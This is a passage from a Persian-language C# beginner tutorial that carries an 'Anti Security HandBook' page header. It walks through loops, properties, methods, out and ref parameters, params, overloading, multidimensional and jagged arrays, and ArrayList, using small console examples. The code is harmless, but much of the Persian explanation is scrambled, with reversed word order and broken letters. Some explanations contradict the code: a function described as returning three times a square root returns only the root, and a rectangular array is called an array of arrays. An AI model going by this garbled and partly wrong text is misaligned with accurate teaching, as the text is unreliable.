static void Main(string[] args) 
{ 
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int odd = 0, even = 0; 
int[] arr = new int [] {0,1,2,5,7,8,11}; 
foreach (int i in arr) 
{ 
if (i%2 == 0) 
even++; 
else 
odd++; 
} 
Console.WriteLine( 
"Found {0} Odd Numbers, and {1} Even Numbers.", 
odd, even) ; 
Console.ReadLine(); 
} 
} 
} 

  
  

  : فوق کد مورد در توضيحاتی
  

د ) آرایه یک اعضای بين در حرکت برایforeach زا • ال  مانن الا  مث ا  و ( ب ی  مجموعه  ی ياء  از ای تفاده  اش  روشی ) شود  یم  اس
 .(!!بيسيک ویژوال از رسيده ارث به تقریبا و !مطمئن و مدرن ، شکيل

  
 .کند  می محاسبه را باقيمانده ، % عملگرC از شده مشتق ایهزبان رد •

  
 و اند گرفته قرار بررسی مورد بودند فرد یا و زوج مورد در آرایه اعضای تک تکforeach ی حلقه از استفاده با فوق کد رد •

 .شود می داده نمایش آخر در فرد و زوج اعضای تعداد
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٩١٦    صفحه

  
  
  
  
  : شارپ سی در ها حلقه مورد در تکميلی مورد دو
  

 حلقه آنی صورت به حالتاین  در . کنيد استفادهbreak  دستور از توانيد می يدهد پایان را حلقه دليلی ره به خواستيد جایی ره .١
  .شوند می اجرا حلقه از پس برنامه ی مهادا ایه کد و یافته خاتمه

  
ن   در حالا  ! است  خودش  ١۵ راند در شما ی حلقه کنيد فرضcontinue  دستور از استفاده ی حوهن .٢ د ای د هخوا می  شما  ران  ي

ه  درون دستورات از سری یک شوند  اجرا  حلق ه  و ن ه  حلق د  ب ل  بعدی  ران ه  را کارش  و شده  منتق ا  . ده د ادام ه  است  اینج  از ک
  .کنيم توجه زمينه این در ساده مثال یک به است ترهب .شود می استفادهcontinue دستور

  
دا  در آنرا نام و کنيد باز VS.NET در را console جدید شارپ سی ی برنامه یک : مثال د  انتخاب ex11  ابت د  سپس  . نمایي ر  ک  را زی
  : بنویسيد آن درون

 
using System; 
namespace ex11 
{ 
class Class1 
{ 
[STAThread] 
static void Main(string[] args) 
{ 
Console.WriteLine( 
"for (int i = 1; i <= 100; i++) -> break at i==5" ); 
for (int i = 1; i <= 100; i++) 
{ 
if (i == 5) 
break; 
Console.WriteLine(i); 
} 
Console.ReadLine(); 
Console.WriteLine( 
"for (int i = 1; i <= 10; i++) -> continue if i<9" ); 
for (int i = 1; i <= 10; i++) 
{ 
if (i < 9) 
continue; 
Console.WriteLine(i); 
} 
Console.ReadLine(); 
} 
} 
} 

  
  

ه  کنيم تعریف را خاصيتی يمهخوا می بعدی قسمت در: اه کلاس از/به مقادیر کردن بدل و رد به مربوط تکميلی موارد دار  یک  ک  را مق
 تعریف کلاس سطح در باید عمومی متغير یک ابتدا .کرد استفاده آن از دیگر ایه قسمت توسط توان می برنامه در و گيرد می کاربر از
 ر داهاین امثال و محلی و عمومی ایهمتغير ) اه متغير scope مورد در کند داری نگاه خود در راset  توسط شده یافت در مقدار تا کرد
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 در چون و یابد می انتساب متغير به شده دریافت مقدارvalue  کليدی ی کلمه طریق از سپس شد دهخوا بحث بيشتر توابع معرفی نگامه
  .است دسترسی قابل کلاس تمام در است عمومی کلاس سطح

  
د  شارپ  سی  ی برنامه یک : مثال از  VS.NET در را console جدی د  ب ام  و کني را  ن دا  آن د  انتخاب ex12  درابت وی  از سپس  . نمایي  من
 :بنویسيد  آن درون را زیر کد و clsDate  نام ه بنمایيد اضافه آن به جدید کلاس یک پروژه

  
using System; 
namespace ex12 
{ 
public class clsDate 
{ 
private int Year; 
public clsDate() 
{ 
} 
public int setYear 
{ 
set 
{ 
Year = value; 
} 
} 
public bool IsLeapYear 
{ 
get 
{ 
return System.DateTime.IsLeapYear(Year); 
} 
} 
} 
} 

  :کنيم  می عمل زیر صورت به برنامه main  متد در آن از استفاده برای
  

using System; 
namespace ex12 
{ 
class Class1 
{ 
[STAThread] 
static void Main(string[] args) 
{ 
clsDate m_var = new clsDate(); 
m_var.setYear = 1990; 
if (m_var.IsLeapYear) 
Console.WriteLine("1990 is a leap year."); 
else 
Console.WriteLine("1990 is not a leap year."); 
Console.ReadLine(); 
} 
} 
} 
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  :فوق کد مورد در توضيحاتی

 
ار  ایه  قسمت ترین اساسی جزو کلاس یک از متغير تعریف ی حوهن • ا  ک ه  شود  می  محسوب  کلاس  یک  ب سمت  در ک  ایه  ق

 .گردید معرفی نيز پيشين
  

 می  ذکر  خاصيت این که مينهm_var.IsLeapYear==true  بنویسيم حتما ندارد لزومی کنيم می استفاده if  از که نگامیه •
   .شد دهخوا چک آن بودنtrueاول  ی لههو در شود

  
د نمای می ملاحظه فوق کد در مه را خاصيت یک به یهد مقدار ی حوهن • ام ه در . ي تفاده  نگ ازی  ا ه خاصيت  از اس ه  ني  آوردن ب

 .ندارد وجود اهآن نام مقابل در () اهپرانتز
  

ر  مقادیر ، اه کلاس به توان میget و set از استفاده با . گردید بيان نيز get با اه خاصيت معرفی ی نحوه ، مرور رایب •  متغي
  .نمود دریافت را مقداری یا و کرد پاس را اه
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  شارپ سی در ها متد تعريف
  
 
  .رسيم می شارپ سی نویسی برنامه مباحث مترینهم از یکی به قسمت این در
 
 می انجام را اهکار از ، سری یک از ای مجموعه و ستنده کلاس یا شی یک اعضایC  زبان در توابع مانه یا و شارپ سی در اه متد
دین  شامل  که کد از قسمت این و دهد انجام را خاص ریاضی عمليات یک باید قسمتی ، شما ی برنامه در کنيد فرض . ندهد ز  خط  چن  ني

دی  بسته توابع صورت به توان می را اهآن ، برنامه به بخشيدن نظم برای . شود زده صدا برنامه در اهبار و اهبار باید گردد می رد  بن  ک
   .نمود فراخوانی را آن ایهپارامتر و ) تابع (  بسته این نام فقط راری،تک خط چندین نوشتن بجای و
 
  : شود می تعریف زیر صورت به تابع یک شارپ سی در
  

  نام تابع                نوع خروجی تابع              سطح دسترسی به تابع )      نوع و اسامی پارامتر ها               ( 
{ 
 تابع ی بدنه
} 

  
ه  یدسترس سطح ابتدا تابع ای متد یک فیتعر یبرا د  آن ب وع  سپس private و public مانن ابع  یخروج  ن د  ت  یم  رک ذی يچ ه void مانن

ا  و شروع { با دیبا تابع سپس .ردک یمعرفرا  یورود یاه آرگومان یقوله ب ای تابع یاه یورود توان یم اهپرانتز نیا داخل هک گردد  ب
 .ابدی خاتمه } یک
  : مثال یبرا
 

public int myFunc( int x ) 
{ 
...…. 
} 

  
ابع  یک بوسيله. باشد داشته یخروج یبيشمار تعداد تا صفر و یورود آرگومان یبيشمار تعداد تا فر ص تواند یم یتابع ره وان  یم  ت  ت

ات  از یسر یک ، آن نام زدن صدا با صرفا و ردک یمخف را ارک یپيچيدگ ام  را عملي ا . داد انج ات  از هیگ د  ای  دو شود  یم  زملا اوق  چن
ا  اهآن یورود یاه آرگومان نوع ای و یخروج ریمقاد ای یورود یاهترمپارا هیکبطور باشيم داشته نام یک با تابع اوت  مه  ب ه  باشد  متف  ب
   .ندیگو یمoverloading  ارک نیا

  
د  DateTime  لاسک مثال یبرا . دارند را یا آماده و حاضر مفيد توابع ای و اه متد کور میفر نت دات یاه لاسک از یبسيار ه  یمت  ب
  .گرداند یم بر یطولان رشته یک صورت به را خیتار هک داردToLongDatastring ، نام
  
  

   void :توابع
  

وابع  ا  هک  یت وع  ب د  یخروج  يچه  شوند  یم  یمعرف  void  ن ان  در و ندارن سي  ژوالی و زب ه  کبي ه  یدلف  در و sub اه آْن ب   اه آن ب
procedureندیگو یم.   
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  : تابع یک از مقدار یک بازگرداندن

  
يد  انیپا به تابع درون اهدک از ه مجموع یک عمليات هکنیا از پس ا  رس تفاده  ب ه ک از اس وان  یم return ی  لم ابع  یخروج  ت  یمعرف  را ت
ر هب .ابدی یم خاتمه تابع ارک شود رکذ return ی لمهک نیا ییرجاه ، است رکذ به لازم .ردک وارد  است  ت وق  م ا  را ف د  ب ال  چن  مرور  مث
  : نيمک
  

از  VS.NET در را console دی جد شارپ یس ی برنامه یک : مثال د ک ب ام  و ني دا  را آن ن د ینما انتخاب ex13  درابت ا یا در . ي  یم  نج
  .گرداند یم بر را عدد یک جزر برابر سه هک نيمک فیتعر را یتابع يمهخوا

 
using System; 
namespace ex13 
{ 
class Class1 
{ 
[STAThread] 
static void Main(string[] args) 
{ 
Console.WriteLine( int3SQL(3) ); 
Console.ReadLine(); 
} 
public static double int3SQL( double intInput ) 
{ 
double i=0; 
i = Math.Sqrt( intInput ); 
return i; 
} 
} 
} 

  
  : فوق دک مورد در یتوضيحات

  
وان  یم  شارپ یس درMath شی زا • را  ت ام  ی ب ات  یسر  یک  انج دا  یاض یر عملي تفاده  ییابت ا یا در . ردک  اس د  از نج  جزر  مت

 .است شده استفاده آن گرفتن
  

ابع  فی تعر رد • ان  ت ه ک از خودم د ک ی لم تفاده  static یلي ابع  درون . است  شده  اس وان  ینم  Main ت ع  ت ر  تواب تاتي  غي  را کاس
  .شود صحبت آن به راجع بيشتر یبعد مقالات در تا باشيد داشته را بخاطر را تهکن نیا فعلا . ردک یفراخوان

  
  : نيمک آناليز بيشتر یمک را شده فیتعر تابع نيست دب •

 
public static double int3SQL( double intInput ) 
{ 
double i=0; 
i = Math.Sqrt( intInput ); 
return i; 
} 

  
  

ه ک از سپس  . است  یدسترس قابل نيز برنامه یک لاسک از خارج تابع نیا یعنی ، کپابلي . است شده رکذ تابع به یدسترس سطح ابتدا  لم
ه  در . دی ردک ملاحظه  آن مورد در را یمختصر توضيح هک دهیگرد استفادهstatic ی وع  ادام ابع  یخروج  ن ا یا در هک  ت  یم  double نج

 خطا یک با گرنه و باشد سانیک گرداند یم بر تابع یک هک یرمقدا با شده فیتعر نوع دیبا حتما هک نيدک دقت . است دهیگرد یمعرف باشد
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 استفاده تابع ی بدنه در هک است شده ارائه یآرگومان نام و نوع اه پرانتز داخل . است شده فیتعر تابع نام سپس . شود یم متوقف برنامه
  .ردک جدا مه از , با را اهآن توان یم بود نياز آرگومان ای و پارامتر یبيشتر تعداد به اگر . گردد یم
  

ادگ  به تابع نیا از استفاده یبرا .يمینما یم یمعرف را یخروج نیاreturn  از استفاده با ابدی یم خاتمه تابع عمليات هکنیا از پس ام  یس  ن
   .ردک دههمشا توان یم برنامهMain متد در آنرا هک سمینو یم را دلخواه عدد یک مراهه به اهپرانتز سپس و تابع

 
  : اهآن از استفاده ی نحوه و برنامه ديگر ایه کلاس در توابع تعريف

 
ا یا در اصطلاحا  هک  باشد  یم اهارک یبند بسته و ترتيب و نظم گرا شی یسینو برنامه یاه ییبایز از یکی ه  نج  یم  encapsulation ب
 استفاده آن از اهبار و اهبار یسادگ به تا نآ يمهد یم قرار لاسک نام به ی پسولک درون را خواص و توابع از یسر یک ما یعنی . ندیگو
د ه سپس و يمینما یم فیتعر لاسک درون معمول صورت به را توابع یک یسادگ به ارکنیا یبرا .يمینما ورد  در هک  خواص  مانن  اه آن م

ا  ارک  نگامه هک تفاوت نیا با ردک استفاده توان یم توابع از ، شد صحبت ع  ب ان  يچه  اه آن اگر  یحت  تواب ارامتر  ای  و آرگوم  مه  یورود پ
  .است یالزام اهپرانتز رکذ باشند نداشته

 
  : زمينه نیا در گرید یمثال

  
ه  یک  : مثال از  VS.NET در را console دی جد شارپ  یس  ی برنام د ک ب ام  و ني را  ن دا  در آن د ینما انتخاب ex14  ابت و  از سپس  ي  یمن
  . دیبگذارclsTools آنرا نام يدینما اضافه برنامه به را دیجد لاسک یک پروژه

  
using System; 
namespace ex14 
{ 
public class clsTools 
{ 
public clsTools() 
{ 
} 
public uint intCalc ( uint a , uint b ) 
{ 
uint c = Math.Min (a,b); 
double x = Math.Sqrt(c) ; 
uint w = Convert.ToUInt32 ( x); 
return w; 
} 
} 
} 

  
   : ردک استفاده آن از ریز صورت به توان یم امهبرنMain  متد در سپس

 
using System; 
namespace ex14 
{ 
class Class1 
{ 
[STAThread] 
static void Main(string[] args) 
{ 
clsTools m_var = new clsTools(); 
Console.WriteLine( m_var.intCalc(4,9)); 
Console.ReadLine(); 
} 
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} 
} 

  
  : فوق دک مورد در یتوضيحات

  
 .ندک یم محاسبه را یورود عدد دو نیترکوچک جزر سپس و گيرد یم را مثبت صحيح عدد دو ما intCalc ابعت •

  
  .ردک استفادهConvert شی از توان یم مه به مختلف یعدد یاه نوع لیتبد یراب •

  
   .يدینما بيان را آمده وجوده ب یخطا دليل و نيدک اجرا را برنامه باریکConvert شی از استفاده دونب •

 
  کنيم دريافت خروجی يک از بيش تابع يک از چگونه

  
 است افتهی انیپا تابع ارک return یفراخوان از پس بلافاصله و باشند داشته return یک  توانند یم فقط توابع هک رسد یم نظر به راهظا
  .نندک یم تر ساده را امر نیا هک اند شده اضافهout  و ref ی اه نام به یليدک ی لمهک دو شارپ یس در .
  

  out :کليدی ی کلمه از استفاده
  
ان  نوع یمعرف از قبل تابع فیتعر درout  از يم ک یم  تفادهس ا یورود آرگوم ا  حالت  نی ا در . ن ه  هک نیا یبج ان  نی ا ب ان  ، آرگوم  آرگوم

  : بود دهنخوا ومهمف مورد نیا نيمکن مرور مه با زمينه نیا در را مثال یک تا . ناميد یخروج آرگومان آنرا توان یم ، يمیبگو یورود
  

 را ریز دک سپس . يدینما انتخابex15  ابتدا در را آن نام و نيدک باز VS.NET  در را console دیجد شارپ یس ی برنامه یک : مثال
  : سيدیبنو آن درون

 
  

using System; 
namespace ex15 
{ 
class Class1 
{ 
public static int TestOut(out char i) 
{ 
i = 'b'; 
return -1; 
} 
[STAThread] 
static void Main(string[] args) 
{ 
char i; // variable need not be initialized 
Console.WriteLine(TestOut(out i)); 
Console.WriteLine(i); 
Console.ReadLine(); 
} 
} 
} 

  
  

 : فوق دک مورد در یتوضيحات
ه ک با از i نآرگوما TestOut تابع رد • د ک ی لم ابع  درون هک نیا یعن ی . است  شده  مشخص out یلي ه  ره  ت ر  گون  i ی رو یتغيي

  .است یدسترس قابل تابع از خارج ، شود انجام
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ز  ستنده  out ی ليدک ی لمهک با شده فیتعر ییاه آرگومان یدارا هک یوابعت • د  یم  ني تفاده  مه return  از توانن د ک اس د ه .نن  مانن
  .فوق مثال

 
  
   ref :کليدی ی کلمه از تفادهاس
  
ه  هک یآرگومان هک تفاوت نیا با است مشابه نيز آن از استفاده و فیتعر ی نحوه و ندک یم عملout  ماننده دقيقا نيز یليدک ی لمهک نیا  ب
  .باشد شده اوليه هید مقدار دیبا شود یم فرستاده توابع نوع نیا

  
ام  و نيدک باز VS.NET در را console  دیجد شارپ یس ی برنامه یک : مثال را  ن دا  آن د ینما انتخاب ex16  درابت  را ری ز دک  سپس  .ي
  : سيدیبنو آن درون

 
using System; 
namespace ex16 
{ 
class Class1 
{ 
public static void FillArray(ref int[] arr) 
{ 
// Create the array on demand: 
if (arr == null) 
arr = new int[10]; 
// Otherwise fill the array: 
arr[0] = 123; 
arr[4] = 1024; 
} 
[STAThread] 
static void Main(string[] args) 
{ 
// Initialize the array: 
int[] myArray = {1,2,3,4,5}; 
// Pass the array using ref: 
FillArray(ref myArray); 
// Display the updated array: 
Console.WriteLine("Array elements are:"); 
for (int i = 0; i < myArray.Length; i++) 
Console.WriteLine(myArray[i]); 
Console.ReadLine(); 
} 
} 
} 

  
  

  : فوق دک مورد در یتوضيحات
  

 مقدار نيمک اسپ آن به يمهخوا یم هک را یآرگومان دیباFillArray تابع از استفاده نگامه نجایا در نيدک یم ملاحظه هک مانطوره •
 .نيمک اوليه هید

  
 هید دار مق به ینياز و ستنده یخروج خالص صورت به شوند یم فیتعرout  با هک ییاهآرگومان گرفت نتيجه توان یم سپ •

دار  و موجود  متغير یرو يمهبخوا هک نيمک یم استفاده ینگامهref از . ندارد وجود اهآن از استفاده نگامه اوليه  ی شده  هی د مق
  .شود داده عودت ، شده یارکدست متغير مان هسپس و گيرد صورت یعمليات تابع درون ، تابع از خارج
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  : معلوم نا ایه آرگومان تعداد با تابعی تعريف
  
 

ا  ات  از هیگ از  اوق ا  است  ني ابع  ت يم ک فی تعر یت داد  هک  ن ان  تع ر  آن یاه  آرگوم ند  متغي را . باش ه ک از منظور  نی ا یب د ک ی لم  ی لي
paramsشود یم هاستفاد.  

  
  
  :است ميتها حائز نجایا در تهکن دو
  

  .ردک استفاده params از باریک توان یم اهتن یتابع ره رد •
 

  .ردک فیتعر را یآرگومان يچه توان ینم گریدparams  بردن ارکب از سپ •
  

ان  عنوان به اه هیآرا از استفاده داد ارائه توان یم زمينه نیا در هک ییاه مثال از یکی وان  یم  ای  حالت  نی ا در . است  یورود آرگوم  ت
 : نيدک ملاحظه ا ر ریز مثال . ردک پاس تابع به آنرا نام اهتن ای و ردک یمعرف تابع به املک صورت به را هیآرا یک

  
د  نما انتخاب ex17 ابتدا در آنرا نام و نيدک باز VS.NET  در را console دیجد شارپ یس ی برنامه یک : مثال  را ری ز دک  سپس . یي
  : سيدیبنو آن درون

 
using System; 
namespace ex17 
{ 
class Class1 
{ 
public static void UseParams(params int[] list) 
{ 
for ( int i = 0 ; i < list.Length ; i++ ) 
Console.WriteLine(list[i]); 
Console.WriteLine(); 
} 
[STAThread] 
static void Main(string[] args) 
{ 
UseParams(1, 2, 3); 
int[] myarray = new int[3] {10,11,12}; 
UseParams(myarray); 
Console.ReadLine(); 
} 
} 
} 

  
  : فوق دک مورد در یتوضيحات

  
وان  یم  را آرگومان تعداد ره ساده یخيل هکنیا ای . است شده استفاده ماUseParams   تابع از صورت دو به main تابع رد •  ت

 .شود فرستاده تابع به سپس و فیتعر رسما ییا هیآرا ادامه در هکنیا ای و فرستاد تابع به
  

 .آموخت فوق مثال در توان یم نيز را یورود آرگومان صورت به اه هیآرا از استفاده و فیتعر ی حوهن •
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  overloading :مبحث
 
  
ام  یک  با تابع سه فیتعر مثال یبرا . باشيم داشته تابع یک از یمختلف یاه نگارش تا است لازم اوقات از هیگا ا  ن ا  ام ان  ب  یاه  آرگوم

د یگو یم Overloaded Methods  اصطلاحا  اه متد ای و توابع نوع نیا به .مختلف را  نمک  رک ف ) . ن ار  سر   آن ذار  ب ع  یگ ه  تواب  ترجم
  : مثال یبرا اند ردهک
 

void myMethod(int p1); 
void myMethod(int p1, int p2); 
void myMethod(int p1, string s1); 

  
دا  در آنرا نام و نيدک باز VS.NET در را console دیجد شارپ یس ی برنامه یک : مثال د ینما انتخاب  ex18 ابت  را ری ز دک  سپس  . ي
  : سيدیبنو آن درون

 
using System; 
namespace ex18 
{ 
class Class1 
{ 
[STAThread] 
static void Main(string[] args) 
{ 
writeIT(); 
writeIT(12); 
Console.ReadLine(); 
} 
public static void writeIT() 
{ 
Console.WriteLine(" writeIT() Ver." ); 
} 
public static void writeIT(int intI) 
{ 
Console.WriteLine(" writeIT(intI) Ver. = " + intI ); 
} 
} 
} 

  
  

  : فوق دک مورد در یتوضيحات
 

 !است ممنوع یس زبان در ارکنیا .يدینما یم ملاحظه را نام یک با تابع دو فیتعر ی حوهن •
  

 .ندی کم اجرا و انتخاب را مناسب ورژن ، یورود یاه آرگومان تعداد و نوع اساس بر وشمنده صورت به لریامپاک •
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 اه هیآرا یميلکت مباحث . داشت وجود Optional ی اهپارامتر با یتوابع فیتعر صورت به ۶ یب یو در بحث نیا از یضعيف ی نمونه
 هی آرا . گرفت نظر در شدن پر ی آماده یخال خانه یتعداد با فیرد یک توان یم رای بعد ی یکمعمول یاه هیآرای بعد چند یاه هیآرا)

  ...آخر یال و گرفت نظر در اه ستون و اه فیرد از شده يلکتش جدول یک مانند توان یم را یبعد دوی 
  
   :rectangular and jagged ندک یم یپشتيبان را یبعد چند ی هیآرا نوع دو شارپ یس
   

 است  اه هیآرا از ییا هیآرا حقيقت درjagged ی هیآرا . است یکی یبعد فیرد با  آن طول ، فیرد ره rectangular ی هیآرا یک در
  : است ریز صورت به یبعد دو ی هیآرا یک فیتعر .باشد داشته یمختلف طول تواند یم اهآن از دامک ره نیبنابرا ،
 

type [,] array-name 
  

دا  در آنرا نام و نيدک باز VS.NET در را console دیجد شارپ یس ی برنامه یک : مثال د ینما انتخاب  ex19 ابت  را ری ز دک  سپس  . ي
  : سيدیبنو آن درون

 
using System; 
namespace ex19 
{ 
class Class1 
{ 
[STAThread] 
static void Main(string[] args) 
{ 
const int rows = 4; 
const int columns = 3; 
// declare a 4x3 integer array 
int[,] rectangularArray = new int[rows, columns]; 
// populate the array 
for (int i = 0;i < rows;i++) 
{ 
for (int j = 0;j<columns;j++) 
{ 
rectangularArray[i,j] = i+j; 
} 
} 
// report the contents of the array 
for (int i = 0;i < rows;i++) 
{ 
for (int j = 0;j<columns;j++) 
{ 
Console.WriteLine("rectangularArray[{0},{1}] = {2}", 
i,j,rectangularArray[i,j]); 
} 
} 
Console.ReadLine(); 
} 
} 
} 

  
  : فوق دک مورد در یتوضيحات

 
 .يدینما یم ملاحظه فوق مثال در را یبعد دو یاه هیآرا از استفاده و اوليه هید مقدار ، فیتعر ی نحوه -١
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 : است ریز صورت به مثال یبرا اه ستون و اه فیرد یگير قرار محل یبعد دو ی هیآرا یک در -٢
  

new int[rows, columns]- 
  
  
  
  
  
  
  
  

  : بعدی چند های آرايه از استفاده
 

د  نما انتخابex20  ابتدا در آنرا نام و نيدک باز VS.NET در را  console دیجد شارپ یس ی هبرنام یک : مثال  را ری ز دک  سپس . یي
  : سيدیبنو آن درون

 
using System; 
namespace ex20 
{ 
class Class1 
{ 
[STAThread] 
static void Main(string[] args) 
{ 
const int rows = 4; 
const int columns = 3; 
// imply a 4x3 array 
int[,] rectangularArray = 
{ 
{0,1,2}, 
{3,4,5}, 
{6,7,8}, 
{9,10,11} 
}; 
for (int i = 0;i < rows;i++) 
{ 
for (int j = 0;j<columns;j++) 
{ 
Console.WriteLine("rectangularArray[{0},{1}] = {2}", 
i,j,rectangularArray[i,j]); 
} 
} 
} 
} 
} 

  
  : فوق دک مورد در یتوضيحات

 
 .بود اه هیآرا از ییا هیآرا فیتعر فوق مثال حقيقت در -١
 .نداشت وجود صحيح صورت به هیآرا ابعاد رکذ به ینياز شده انجام ی واضح صورت به اوليه هید مقدار چون -٢
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 ...دارد ادامه اه هیآرا بحث
  
  
  
  
  
  
  
  
  
  
 
  

Jagged arrays  
 

Jagged arrays نگامه . باشد طول مه یبعد فیرد با آن فیرد ره هک ندارد یلزوم شد رکذ هک مانطوره و است اه هیآرا از یا هیآرا 
د ینما یم  مشخص  را اه  فیرد تعداد شما هیآرا نوع نیا فیتعر د ک یم ی داره گن را هی آرا یک  فی رد ره  .ي ا یا در .ن  دی با هی آرا ره  نج
   : است ریز صورت به Jagged array  فیتعر روش .شود فیتعر

  
type [] []... 

  
  : است یبعد دو ریز ی هیآرا مثال یبرا .باشد یم هیآرا ابعاد بيانگر اه تکبرا تعداد نجایا در
 

int [] [] myJaggedArray; 
  
  : شود یم عمل ریز صورت به سوم ی هیآرا عنصر پنجمين به یدسترس یبرا مثال یبرا و
 

myJaggedArray[2][4] 
  

   يدینما انتخاب ex21 درابتدا آنرا نام و نيدک باز  VS.NET در را console دیدج شارپ یس ی برنامه یک : مثال
  

  : سيدیبنو آن درون را ریز دک سپس
 

using System; 
namespace ex21 
{ 
class Class1 
{ 
[STAThread] 
static void Main(string[] args) 
{ 
const int rows = 4; 
// declare the jagged array as 4 rows high 
int[][] jaggedArray = new int[rows][]; 
// the first row has 5 elements 
jaggedArray[0] = new int[5]; 
// a row with 2 elements 
jaggedArray[1] = new int[2]; 
// a row with 3 elements 
jaggedArray[2] = new int[3]; 
// the last row has 5 elements 
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jaggedArray[3] = new int[5]; 
// Fill some (but not all) elements of the rows 
jaggedArray[0][3] = 15; 
jaggedArray[1][1] = 12; 
jaggedArray[2][1] = 9; 
jaggedArray[2][2] = 99; 
jaggedArray[3][0] = 10; 
jaggedArray[3][1] = 11; 
jaggedArray[3][2] = 12; 
jaggedArray[3][3] = 13; 
jaggedArray[3][4] = 14; 
for (int i = 0;i < 5; i++) 
{ 
Console.WriteLine("jaggedArray[0][{0}] = {1}", 
i,jaggedArray[0][i]); 
} 
for (int i = 0;i < 2; i++) 
{ 
Console.WriteLine("jaggedArray[1][{0}] = {1}", 
i,jaggedArray[1][i]); 
} 
for (int i = 0;i < 3; i++) 
{ 
Console.WriteLine("jaggedArray[2][{0}] = {1}", 
i,jaggedArray[2][i]); 
} 
for (int i = 0;i < 5; i++) 
{ 
Console.WriteLine("jaggedArray[3][{0}] = {1}", 
i,jaggedArray[3][i]); 
} 
Console.ReadLine(); 
} 
} 
} 

  
  : فوق دک مورد در یتوضيحات

  
   : شد یم عمل ریز صورت به اعضا به یسترسد یبراrectangular ی اه هیآرا با ارک نگامه
 

rectangularArrayrectangularArray[i,j] 
  
  : است صورت نیبد نجایا در اما
 

jaggedArray[3][i] 
  

  System.Array :از استفاده
  

 سورت مثال یبرا  . اهآن یور اعمال و اه هیآرا با ارک لاسک نیا توسطArray  نام به است ردهک یمعرف را یلاسک کور میفر نت دات
از  VS.NET در را console دی جد شارپ  یس  ی برنامه یک : مثال . شود یم ساده شدت به غيره و ردنک د ک ب ام  و ني را  ن دا  آن   درابت

ex22سيدیبنو آن درون را ریز دک سپس . يدینما انتخاب :  
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using System; 
namespace ex22 
{ 
class Class1 
{ 
public static void PrintMyArray(object[] theArray) 
{ 
foreach (object obj in theArray) 
{ 
Console.WriteLine("Value: {0}", obj); 
} 
Console.WriteLine("\n"); 
} 
[STAThread] 
static void Main(string[] args) 
{ 
String[] myArray = { 
"Who", "is", "John", "Galt" 
}; 
PrintMyArray(myArray); 
Array.Reverse(myArray); 
PrintMyArray(myArray); 
String[] myOtherArray = { 
"We", "Hold", "These", "Truths", 
"To", "Be", "Self", "Evident" }; 
PrintMyArray(myOtherArray); 
Array.Sort(myOtherArray); 
PrintMyArray(myOtherArray); 
Console.ReadLine() ; 
} 
} 
} 

  
 : فوق دک مورد در یيحاتتوض

  
  .است دهیگرد استفاده ) ابتدا به اهانت از ( وسکمع ترتيب به هیآرا شینما و ردنک سورت یبرا نجایا درReverse  و Sort  متد دو از
 

  : شارپ یس در کناميید یاه هیآرا فیتعر
 

ا  . ردک مشخص را اهآْن طول دیبا یارک ره از قبل هک است نیا دارد وجود معمول یاه هیآرا با هک یلاتکمش از یکی ات  از هیگ ا  اوق  م
 نی ا حل  یبرا . نيمک جادیا عضو تعداد مانه با شده فیتعر پيش از یا هیآرا تا ندک یم افتیدر را عضو تعداد چه برنامه دانيم ینم دقيقا
  .ردک استفاده توان یم کور میفر نت دات در شده فیتعرArrayList  لاسک از لکمش
  
ا  و باشد  ینم شوند اضافه دیبا هک ییاعضا تعداد دانستن به ینيازArrayList از ادهاستف نگامه تفاده  ب د  از اس ه  آنAdd مت ادگ  ب  یم  یس

  : ستنده ریز صورت به لاسک نیا یاهمتد و خواص از یتعداد . نمود اضافه آن به را اعضاء توان
 

Adapter , FixedSize , ReadOnly , Repeat , Synchronized , Capacity,Count , IsFixedSize , IsReadOnly , 
IsSynchronized , Item , SyncRoot , Add , AddRange , BinarySearch , Clear , Clone , Contains , 
CopyTo , GetEnumerator , GetRange , IndexOf , Insert , InsertRange , LastIndexOf , Remove , 
RemoveAt , RemoveRange , Reverse , SetRange , Sort , ToArray , TrimToSize 
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ام  و نيدک باز VS.NET در را console دیجد شارپ یس ی برنامه یک : مثال را  ن دا  آن د ینما انتخاب ex23  درابت  را ری ز دک  سپس  . ي
  : سيدیبنو آن درون

 
using System; 
using System.Collections; 
namespace ex23 
{ 
// a simple class to store in the array 
public class Employee 
{ 
public Employee(int empID) 
{ 
this.empID = empID; 
} 
public override string ToString( ) 
{ 
return empID.ToString( ); 
} 
public int EmpID 
{ 
get 
{ 
return empID; 
} 
set 
{ 
empID = value; 
} 
} 
private int empID; 
} 
class Class1 
{ 
[STAThread] 
static void Main(string[] args) 
{ 
ArrayList empArray = new ArrayList( ); 
ArrayList intArray = new ArrayList( ); 
// populate the array 
for (int i = 0;i<5;i++) 
{ 
empArray.Add(new Employee(i+100)); 
intArray.Add(i*5); 
} 
// print all the contents 
for (int i = 0;i<intArray.Count;i++) 
{ 
Console.Write("{0} ", intArray[i].ToString( )); 
} 
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Console.WriteLine("\n"); 
// print all the contents of the button array 
for (int i = 0;i<empArray.Count;i++) 
{ 
Console.Write("{0} ", empArray[i].ToString( )); 
} 
Console.WriteLine("\n"); 
Console.WriteLine("empArray.Capacity: {0}", 
empArray.Capacity); 
Console.ReadLine(); 
} 
} 
} 

  
  : فوق دک مورد در یتوضيحات

 
  .شد يمهخوا آشنا یبعد یاه قسمت درoverride یليدک ی لمهک اب •

  
 .ردک اضافه مه برنا به ، است شده فیتعر آن در لاسک نیا هک را ینام یفضا تا بود لازمArrayList از استفاده یراب •

  
 .يدینما یم دههمشا نام یفضا یک در را لاسک دو فیتعر ی نحوه فوق مثال رد •

  
 .است شده یبررس فوق مثال در آن خواص از استفاده مچنينه وArrayList هید مقدار و فیتعر ی حوهن •
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  :نگاه دقيق تری به مبحث شی گرای 
 
ی  شارپ یس در ییگرا شی بحث به تر دقيق هینگا يمهخوا یم بعد به قسمت نیا از داز  ب د ه م؛یان ضا  مانن ام  یاهف  ارث ، اه  لاسک  ، ن
  .غيره و مرفيسم یپل ، یبر
 
سمت  در ل  یاه  ق نا  قب ا  یمختصر  ییآش ضا  ب ام  یاهف دا  ن ه  در . میردک  پي ا  ادام شتر  تجزئي ورد  در را یبي  .ردک  يمهخوا ی بررس  آن م
 یاه قسمت بين در یاسم تشابه انکما از مچنينه . اند شده ارائه اهدک به بخشيدن نظم و ردنک اداره یبرا(namespaces) نام یاهفضا

